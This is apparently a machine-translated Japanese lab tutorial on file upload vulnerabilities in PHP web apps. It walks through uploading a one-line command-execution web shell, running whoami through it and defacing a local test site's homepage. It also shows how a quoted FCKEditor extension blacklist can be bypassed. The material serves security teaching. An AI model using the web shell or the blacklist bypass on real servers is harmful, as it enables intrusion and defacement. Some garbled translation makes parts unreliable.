ホームページ >バックエンド開発 >PHPチュートリアル >ファイルアップロードの脆弱性インスタンスの分析
原則
ファイルのアップロードは、Web アプリケーションでよく使用される機能で、ユーザーはファイルをサーバーにアップロードし、特定の場所に保存できます。これは、セキュリティにとって非常にデリケートな問題です。悪意のあるプログラムがサーバーにアップロードされ、実行許可を取得すると、悲惨な結果が生じます。したがって、ほとんどの Web アプリケーションでは、ファイルのアップロード機能に多くの制限があります。ファイル アップロードの脆弱性とは、攻撃者がプログラムの欠陥を利用してシステムのファイルの検証および処理ポリシーをバイパスし、悪意のあるプログラムをサーバーにアップロードし、サーバー側のコマンドを実行する能力を取得することを意味します。この攻撃方法は直接的かつ効果的であり、一部の脆弱なシステムに対処する場合にはしきい値はありません。
ファイル アップロードの脆弱性を悪用する一般的な方法は次のとおりです:
Web スクリプト プログラムをアップロードすると、Web コンテナがアップロードされた悪意のあるスクリプトを解釈して実行します。
Flash クロスドメイン ポリシー ファイルcrossdomain.xml をアップロードし、アクセス許可を変更します (他のポリシー ファイルも同様の方法で使用されます)。
ウイルスやトロイの木馬ファイルをアップロードして、ユーザーや管理者をだましてダウンロードして実行させます。
スクリプトを含む画像をアップロードします。スクリプトは、フィッシングや詐欺のために一部のブラウザの低レベル バージョンで実行されます。
一般に、使用されるアップロードされたファイルには、実行可能機能 (悪意のあるプログラム) またはサーバーの動作に影響を与える機能 (設定ファイル) があり、攻撃やエクスプロイトを実行するには、次の条件を満たす必要があります。フロントエンドおよびバックエンドのフィルタリングとファイル処理を通過できます
ファイルの内容は変更されず、正しく保存できます
保存場所は Web コンテナの制御範囲内です
攻撃者はアクセス権限を持っています。ストレージディレクトリ
次の資料を含む使用方法 1 をデモンストレーションするための実験を行います:
regist フォルダー (脆弱な eb アプリケーション)
hacker.php (アップロードされる悪意のあるスクリプト)
hacked.html (新規)置き換えられる黒いページのあるホームページ)
次のコマンドを使用して、実験マテリアルを仮想マシンの任意のディレクトリにダウンロードし、解凍します。
wget http://labfile.oss.aliyuncs.com/courses/443 /stuffs.tar.gztar -xzf Staffs.tar.gzcd スタッフ
1. Web アプリケーションをデプロイします
regist フォルダーを /var/www/html/ ディレクトリにコピーします
sudo cp -R regist /var/www/ html/
registフォルダーのディレクトリ構成は以下の通りです
index.html (フロントエンド登録ページ)
regist.php (バックエンド登録ハンドラー)
upload/ (ファイルアップロードディレクトリ)
css/ (スタイルファイルディレクトリ)
fonts/ (フォントファイルディレクトリ)
js / (スクリプトファイルディレクトリ)
ディレクトリ権限の変更:
sudo chmod 777 /var/www/html/regist -R Apache2サービスの開始
sudo サービス apache2 開始
2. 悪意のあるスクリプト プログラムをアップロードする
このページでは、より慎重に登録情報を入力します。ユーザーが入力したテキスト情報は、アップロードされるアバターの種類を厳密に制御するものではありません。これは非常に危険な行為です。アバターをアップロードする際に、用意された悪意のある PHP プログラム hacker.php を選択してください。 (hacked.html をアップロードする場合も同じ方法を使用します)
3. スクリプト プログラムにアクセスします
ディレクトリ構造から、アップロードされたファイルは、upload/ ディレクトリに保存されていることがわかります。アップロードされた PHP ファイルには、http を入力してアクセスできます。ブラウザのアドレスバーに ://localhost/regist/upload/hacker.php
hacker.php ソース コードは次のとおりです:
cmd:
結果:
実際、適切に構築され、スムーズに実行できる限り、スクリプト ファイルには好きなコードを記述できます。
Core code system($_GET['cmd']); は php システム関数システムを呼び出します。 Linux システム コマンドを実行します。コマンドは GET リクエストの cmd パラメータから取得されます。これは、悪意のあるプログラムが正常に実行できるかどうかを最初にテストするのと同じように、現在のユーザー権限でコマンドを実行できることを意味します。 :http://localhost/regist/upload/hacker.php?cmd=whoami
これは正常に実行されます。これは、エンド側でアップロード機能を担当するプログラム モジュールが正常に実行されないことも意味します。アップロードされたファイルを効果的にフィルタリングして処理し、アップロードされた hacke.html ページを使用して Web サイトのホームページを置き換えます:
http://localhost/regist/upload/hacker.php?cmd =mv hacked.html ../index .html
Web アプリケーション localhost/regist に再度アクセスし、ページを更新すると、置き換えが成功し、ページに「You Are Hacked」と表示されることがわかります。
hacked.html を /upload にアップロードする必要があることに注意してください。ディレクトリ
思考と拡張
1. タイプ チェック
実験段階の Web サイトのフロントエンド部分は、ファイルのアップロードを効果的にフィルタリングおよび処理しません。同じ種類の有名な脆弱性には FCKEditor ファイルも含まれます。アップロードの脆弱性 FCKEditor は非常に人気のあるリッチ テキスト エディターであり、特定の PHP バージョンにはファイルのアップロード タイプ チェックの脆弱性があります。
$Config['AllowdExtensions']['File'] = array();//アップロードが許可されるタイプ $Config['DenedExtensions']['File'] =array('php', 'php3', ' php5 '、'phtml'、'asp'、'aspx'、'ascx'、'jsp'、'cfm'、'cfc'、'pl'、'pl'、'bat'、'exe'、'dll' , 'reg', 'cgi' );//アップロードが禁止されている型
ご覧のとおり、コードはファイル タイプをチェックしますが、ブラックリスト方式を使用しているため、php2、inc およびその他の型名を使用すると、さらに、フロントエンドの検証では、通常、POST パッケージを変更または偽造することで回避できます。 [ 1] [2] 次のページ